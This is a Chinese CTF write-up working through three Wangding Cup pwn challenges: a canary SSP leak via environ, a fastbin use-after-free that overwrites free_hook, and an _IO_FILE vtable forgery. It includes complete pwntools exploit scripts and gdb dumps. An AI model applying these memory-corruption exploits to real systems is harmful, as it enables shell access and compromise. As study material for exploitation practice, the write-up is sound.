第一次打比赛便被网鼎杯血虐,当时栈溢出的水平不足以达到唯一的一个栈溢出的题目的要求,堆就更不必多说了。
现在在学习堆的中间回来看看有没有能力去复现当时的题。

GUESS

题目

还是比较清晰的,将flag.txt的内容读到了栈上,我们就是想方设法将其输出出来;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 i; // [rsp+20h] [rbp-80h]
__int64 max_num_3; // [rsp+28h] [rbp-78h]
char flag_is_here; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 canary; // [rsp+98h] [rbp-8h]

canary = __readfsqword(0x28u);
max_num_3 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
i = 0LL;
setvbuf_and_alarm();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &flag_is_here, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr)); // read flag.txt
//
//
//
//
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( i >= max_num_3 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = get_fork();
if ( !v5 )
break;
++i;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&flag_is_here, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}

分析

程序有canary,溢出点也很清晰;
这里就涉及到了canary的ssp leak;
因为只有三次机会,我们需要的就是栈地址;
所以第一次得到libc地址,第二次可以用environ变量得到栈地址,第三次读flag即可。

当时卡住的地方是栈地址的泄露:
栈的地址可以通过libc中的一个变量 _environ变量泄露出来。因为在libc中的全局变量 environ储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,进而计算出flag在栈上的地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'

sh = process('./GUESS')
libc = ELF('./libc.so.6')

puts_got = 0x602020

sh.recvuntil("guessing flag\n")
sh.sendline(p64(puts_got)*0x100)

sh.recvuntil("*** stack smashing detected ***: ")
gdb.attach(sh)

puts_addr = u64(sh.recvn(6).ljust(8,'\x00'))
libc.address = puts_addr- libc.symbols['puts']

environ = libc.symbols['environ']

sh.recvuntil("guessing flag\n")
sh.sendline(p64(environ)*0x100)

sh.recvuntil("*** stack smashing detected ***: ")
#gdb.attach(sh)

stack_addr = u64(sh.recvn(6).ljust(8,'\x00'))

sh.recvuntil("guessing flag\n")
sh.sendline(p64(stack_addr -0x168)*0x100)

sh.interactive()


结果如下:

You should take more effort to get six sence, and one more challenge!!
*** stack smashing detected ***: flag{Th1s_1S_Fl3g}
me terminated

babyheap

题目

题目写的还是比较清晰的,功能如下

1
2
3
4
5
6
7
8
9
int menu()
{
puts("1.alloc");
puts("2.edit");
puts("3.show");
puts("4.free");
puts("5.exit");
return printf("Choice:");
}

alloc 会分配固定0x30大小的chunk,最多alloc 9次;
edit 可以选择修改chunk,最多edit 3次 , 与alloc均不存在溢出的可能;
show 会将内容打印出来;
free 将chunk free掉,有明显的UAF漏洞。

1
2
3
4
5
6
7
$ checksec babyheap
[*] '/home/sirius/tikool/wangdingbei/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

分析

保护基本上全开,为了拿到shell,我们选择修改malloc_hook或free_hook来执行system(‘/bin/sh’)或使用one_gadget拿shell;

为了能够修改free_hook,我们需要leak libc的基址,但是程序只会固定malloc(0x20),也就是0x30大小的chunk,该chunk属于fastbin,而众所周知,fastbin是没办法泄露libc基址的,因此我们需要smallbin;

为了能够搞到smallbin,我们决定利用free的漏洞,当连续free两个chunk时,后free的fastbin的fd指针会指向先free的chunk,然后我们show便可以泄露堆地址;

当泄露出堆地址之后,我们可以修改fd指针的指向地址,这样malloc时便会到我们想要的地址,所以我们有机会来让修改chunk能够使其去伪造smallbin大小的chunk,这样想方设法将其free之后,其fd指针与bk指针指向<main_arena+88>处,这样show便可以泄露libc地址。

不过最终要控制malloc 与 edit的次数,在有限的次数内完成功能, 不得已的话再想办法修改edit的次数限制。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
context.log_level = 'debug'
p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')

def Add(index, data):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)

def Edit(index, data):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(data)

def Show(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def Delete(index):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))



Add(0,'aaaaaaaa\n')
Add(1,'bbbbbbbb\n')
Add(2,'cccccccc\n')
Add(3,'dddddddd\n')

#--------------leak heap addr----------------
Add(4, p64(0xa0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')



Delete(1)
Delete(0)

Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
print "heap_addr: " + hex(heap_addr)

``
pwndbg> x/10gx 0x0000000000602060 <---chunk_ptr 0-5
0x602060: 0x00000000011e2010 0x00000000011e2040
0x602070: 0x00000000011e2070 0x00000000011e20a0
0x602080: 0x00000000011e20d0 0x00000000011e2100
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0: 0x0000000000000000 0x0000000000000000

pwndbg> x/40gx 0x000000000011e2000
0x11e2000: 0x0000000000000000 0x0000000000000031
0x11e2010: 0x00000000011e2030 <--- get heap addr 0x0000000000000000
0x11e2020: 0x0000000000000000 0x0000000000000000
0x11e2030: 0x0000000000000000 0x0000000000000031
0x11e2040: 0x0000000000000000 0x0000000000000000
0x11e2050: 0x0000000000000000 0x0000000000000000
0x11e2060: 0x0000000000000000 0x0000000000000031
0x11e2070: 0x6363636363636363 0x0000000000000000
0x11e2080: 0x0000000000000000 0x0000000000000000
0x11e2090: 0x0000000000000000 0x0000000000000031
0x11e20a0: 0x6464646464646464 0x0000000000000000
0x11e20b0: 0x0000000000000000 0x0000000000000000
0x11e20c0: 0x0000000000000000 0x0000000000000031
0x11e20d0: 0x00000000000000a0 0x0000000000000031
0x11e20e0: 0x0000000000602068 0x0000000000602070
0x11e20f0: 0x0000000000000000 0x0000000000000031
0x11e2100: 0x0000000000000030 0x0000000000000030
0x11e2110: 0x0000000000000000 0x0000000000000000
0x11e2120: 0x0000000000000000 0x0000000000020ee1
0x11e2130: 0x0000000000000000 0x0000000000000000
``

#-------------leak libc addr--------------------
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

gdb.attach(p)

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')

gdb.attach(p)

Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
print "libc_addr: " + hex(libc_address)

gdb.attach(p)

``
pwndbg> x/10gx 0x0000000000602060 <---- chunk_ptr 0-7
0x602060: 0x00000000011e2010 0x00000000011e2040
0x602070: 0x00000000011e2070 0x00000000011e20a0
0x602080: 0x0000000000602068 0x00000000011e2100
0x602090: 0x00000000011e2010 0x00000000011e2030 <---被带偏的chunk
0x6020a0: 0x0000000000000000 0x0000000000000000


pwndbg> x/40gx 0x000000000011e2000
0x11e2000: 0x0000000000000000 0x0000000000000031
0x11e2010: 0x0000000000000000 0x00000000000000a1
0x11e2020: 0x0000000000000000 0x0000000000000031
0x11e2030: 0x0000000000000000 0x00000000000000d1 <-----fake small chunk
0x11e2040: 0x00007f042e615b78 0x00007f042e615b78 <-----get libc addr
0x11e2050: 0x0000000000000000 0x0000000000000000
0x11e2060: 0x0000000000000000 0x0000000000000031
0x11e2070: 0x6363636363636363 0x0000000000000000
0x11e2080: 0x0000000000000000 0x0000000000000000
0x11e2090: 0x0000000000000000 0x0000000000000031
0x11e20a0: 0x6464646464646464 0x0000000000000000
0x11e20b0: 0x0000000000000000 0x0000000000000000
0x11e20c0: 0x0000000000000000 0x0000000000000031
0x11e20d0: 0x00000000000000a0 0x0000000000000031
0x11e20e0: 0x0000000000602068 0x0000000000602070
0x11e20f0: 0x0000000000000000 0x0000000000000031
0x11e2100: 0x00000000000000d0 0x0000000000000030
0x11e2110: 0x0000000000000000 0x0000000000000000
0x11e2120: 0x0000000000000000 0x0000000000020ee1
0x11e2130: 0x0000000000000000 0x0000000000000000
``


#---------cover free_hook with one_gadget to get shell --------------------------
one_gadget = 0x45216
free_hook = libc_address + 0x3c67a8
print "free_hook: "+ hex(free_hook)

Edit(4,p64(free_hook) + '\n')
Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')

Delete(1)

p.interactive()

blind

题目

题目风格与babyheap基本一致:
malloc的chunk大小变为0x68 最后得到的chunk也就是0x70,最多6个chunk;
edit函数功能一致,去掉了次数限制,show函数被去掉;
free函数仍然存在UAF,且限制3次。
同时添加了一个system(‘/bin/sh’)的函数。

分析

直接给了system(‘/bin/sh’)的函数,所以目标就是控制程序执行该函数;
看了半天没有头绪,能知道利用UAF漏洞将chunk分配到想要的地方,但是因为没有show函数,并没有办法泄露栈地址;
去看了下大佬们的思路,发现是将chunk malloc到bss段,而bss段存在着_IO_FILE的结构体及vtable虚表指针,我们通过修改指针指向,之后伪造file结构体及伪造虚表指针,程序在退出时会自动调用从而拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> x/6gx 0x602020    <---------bss段的file指针
0x602020 <stdout>: 0x00007ffff7dd2620 0x0000000000000000
0x602030 <stdin>: 0x00007ffff7dd18e0 0x0000000000000000
0x602040 <stderr>: 0x00007ffff7dd2540 0x0000000000000000

pwndbg> x/28gx 0x00007ffff7dd2620 <----------stdout的结构体
0x7ffff7dd2620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7dd26a3
0x7ffff7dd2630 <_IO_2_1_stdout_+16>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2640 <_IO_2_1_stdout_+32>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2650 <_IO_2_1_stdout_+48>: 0x00007ffff7dd26a3 0x00007ffff7dd26a3
0x7ffff7dd2660 <_IO_2_1_stdout_+64>: 0x00007ffff7dd26a4 0x0000000000000000
0x7ffff7dd2670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007ffff7dd18e0
0x7ffff7dd2690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7ffff7dd26a0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007ffff7dd3780
0x7ffff7dd26b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd26c0 <_IO_2_1_stdout_+160>: 0x00007ffff7dd17a0 0x0000000000000000
0x7ffff7dd26d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd26e0 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd26f0 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007ffff7dd06e0

pwndbg> p *(struct _IO_FILE_plus *) stdout <--------结构体含义
$4 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps> <---------将要被修改指向system('/bin/sh')函数的虚表指针
}

这个确实是知识点不足,对_IO_FILE比较陌生。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
context.log_level='debug'


sh = process('./blind')
elf = ELF('./libc.so.6')

def new(idx,content):
sh.sendline('1')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.send(content)
sh.recvuntil('Choice:')

def change(idx,content):
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.send(content)
sh.recv()

def delete(idx):
sh.sendline('3')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Choice:')

system_addr = 0x4008E3

new(0,'a\n')
new(1,'b\n')
delete(0)
change(0,p64(0x60203d)+'\n') <-------直接利用UAF漏洞伪造fastbin,相对于释放两个再伪造方便了不少

gdb.attach(sh)

payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n'
new(2,'a\n')
new(3,payload) <-------------伪造的chunk 再用来修改存储chunk指针的地方,后面malloc的事直接省了,还不用考虑过malloc(fastbin)的检查

gdb.attach(sh)
fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4
fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0)
fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060)
fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p64(0x602090 + 0x68*3)
fake_vtable = p64(system_addr)*10

change(1,fake_struct[:0x68])
change(2,fake_struct[0x68:0xd0])
change(3,fake_struct[0xd0:]+'\n')
change(4,fake_vtable+'\n')
gdb.attach(sh)


x/100gx 0x602020
0x602020 <stdout>: 0x00007f8bb5dde620 0x0000000000000000
0x602030 <stdin>: 0x00007f8bb5ddd8e0 0x0000000000000000
0x602040 <stderr>: 0x00007f8bb5dde540 0x6161610000000000
0x602050: 0x6161616161616161 0x6161616161616161
0x602060: 0x0000000000602020 0x0000000000602090
0x602070: 0x00000000006020f8 0x0000000000602160 <-----伪造的一堆chunk指针
0x602080: 0x00000000006021c8 0x0000000000000000

0x602090: 0x00000000fbad8000 0x0000000000602060 <-----fake_struct 开始
0x6020a0: 0x0000000000602060 0x0000000000602060
0x6020b0: 0x0000000000602060 0x0000000000602060
0x6020c0: 0x0000000000602060 0x0000000000602060
0x6020d0: 0x0000000000602061 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000602060
0x602100: 0x0000000000000001 0xffffffffffffffff
0x602110: 0x0000000000000000 0x0000000000602060
0x602120: 0xffffffffffffffff 0x0000000000000000
0x602130: 0x0000000000602060 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x00000000ffffffff 0x0000000000000000
0x602160: 0x0000000000000000 0x00000000006021c8 <----vtable指针指向存放system('/bin/sh')函数的地址
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000
0x6021b0: 0x0000000000000000 0x0000000000000000

0x6021c0: 0x0000000000000000 0x00000000004008e3 <-----存放了一堆system('/bin/sh')函数的地址,便于命中
0x6021d0: 0x00000000004008e3 0x00000000004008e3
0x6021e0: 0x00000000004008e3 0x00000000004008e3
0x6021f0: 0x00000000004008e3 0x00000000004008e3
0x602200: 0x00000000004008e3 0x00000000004008e3
0x602210: 0x00000000004008e3 0x0000000000000000



change(0,p64(0x602090)+'\n') <------修改stdout指针,稳了

sh.interactive()